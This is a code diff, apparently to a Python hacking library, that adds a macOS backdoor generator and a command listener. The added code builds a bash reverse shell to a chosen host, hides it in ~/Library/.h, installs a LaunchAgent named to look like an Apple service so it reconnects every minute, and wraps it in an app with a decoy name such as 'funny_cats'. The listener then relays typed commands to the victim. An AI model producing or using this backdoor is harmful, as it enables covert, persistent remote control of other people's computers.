2121import socket , httplib , threading , time , urllib2 , os
2222from Queue import Queue
2323
24+ class Backdoor (object ):
25+ '''Creates a persistent backdoor payload. Currently only for Mac OSX.
26+ Payloads for Windows and Linux coming soon.'''
27+
28+ def __init__ (self ):
29+ self .IP = ''
30+ self .port = ''
31+ self .osx_payload = '''#!/bin/bash
32+ mkdir ~/Library/.h
33+ echo '#!/bin/bash
34+ bash -i >& /dev/tcp/HOST/PORT 0>&1
35+ wait' > ~/Library/.h/connect.sh
36+ chmod +x ~/Library/.h/connect.sh
37+ echo '<plist version="1.0">
38+ <dict>
39+ <key>Label</key>
40+ <string>com.apples.services</string>
41+ <key>ProgramArguments</key>
42+ <array>
43+ <string>/bin/sh</string>
44+ <string>'$HOME'/Library/.h/connect.sh</string>
45+ </array>
46+ <key>RunAtLoad</key>
47+ <true/>
48+ <key>StartInterval</key>
49+ <integer>60</integer>
50+ <key>AbandonProcessGroup</key>
51+ <true/>
52+ </dict>
53+ </plist>' > ~/Library/LaunchAgents/com.apples.services.plist
54+ chmod 600 ~/Library/LaunchAgents/com.apples.services.plist
55+ launchctl load ~/Library/LaunchAgents/com.apples.services.plist
56+ exit
57+ '''
58+
59+ def create (self , IP , port , OS , appname = 'funny_cats' ):
60+ '''Creates a user-level reverse shell.'''
61+
62+ if OS == 'OSX' :
63+ self .osx_payload = self .osx_payload .replace ('HOST' , IP ).replace ('PORT' , str (port ))
64+ try :
65+ os .makedirs (os .getcwd () + '/' + appname + '.app/Contents/MacOS' )
66+ except : pass
67+ payload_path = os .getcwd () + '/' + appname + '.app/Contents/MacOS/' + appname
68+ with open (payload_path , 'w' ) as f :
69+ f .write (self .osx_payload )
70+ import subprocess
71+ subprocess .Popen (['chmod' , '755' , payload_path ])
72+ print 'Payload saved to ' + os .getcwd () + appname + '.app'
73+
74+ class Server (object ):
75+
76+ def __init__ (self , port ):
77+ import socket
78+ self .port = port
79+ self .address = ('localhost' , port )
80+
81+ def listen (self ):
82+ import time
83+ sock = socket .socket (socket .AF_INET , socket .SOCK_STREAM )
84+ sock .bind (self .address )
85+ sock .listen (1 )
86+ while True :
87+ connection , cAddress = sock .accept ()
88+ try :
89+ print 'New connection' , cAddress
90+ connection .sendall ('whoami\n ' )
91+ while True :
92+ data = connection .recv (32768 )
93+ if data :
94+ print '\n ' .join (data .split ('\n ' )[:- 1 ])
95+ response = raw_input (data .split ('\n ' )[- 1 ])
96+ data = None
97+ if response :
98+ connection .sendall (response + '\n ' )
99+ time .sleep (0.5 )
100+ finally :
101+ connection .close ()
102+
24103class FTPAuth (object ):
25104 '''FTP login and command handler.
26105 Commands:
@@ -644,6 +723,27 @@ def uiLanScan():
644723 print ip
645724 print 'Lan scan complete.'
646725 time .sleep (2 )
726+
727+ def uiCreateBackdoor ():
728+ print ''
729+ print 'Select OS'
730+ print '1) Mac OSX'
731+ ink = _Getch ()
732+ cmd = ink ()
733+ if cmd == '1' :
734+ ip = raw_input ('Listener IP > ' )
735+ port = raw_input ('Listener Port > ' )
736+ appname = raw_input ('Filename > ' )
737+ bd = Backdoor ()
738+ bd .create (ip , port , 'OSX' , appname )
739+ time .sleep (2 )
740+
741+ def uiServer ():
742+ print ''
743+ port = raw_input ('Listening port > ' )
744+ s = Server (int (port ))
745+ print 'Listening on port ' + port
746+ s .listen ()
647747
648748def userInterface ():
649749 '''Start UI if hacklib isn't being used as a library.
@@ -660,10 +760,12 @@ def userInterface():
660760 print '1) Connect to a proxy'
661761 print '2) Target an IP or URL'
662762 print '3) Lan Scan'
663- print '4) Exit'
763+ print '4) Create Backdoor'
764+ print '5) Server'
765+ print '6) Exit'
664766 ink = _Getch ()
665767 cmd = ink ()
666- if cmd == '4 ' :
768+ if cmd == '6 ' :
667769 return
668770 if cmd == '2' :
669771 address = raw_input ('Input IP or URL > ' )
@@ -686,6 +788,12 @@ def userInterface():
686788
687789 if cmd == '3' :
688790 uiLanScan ()
791+
792+ if cmd == '4' :
793+ uiCreateBackdoor ()
794+
795+ if cmd == '5' :
796+ uiServer ()
689797
690798 if cmd == '1' :
691799 print 'Would you like to automatically find a proxy or input one manually?'
0 commit comments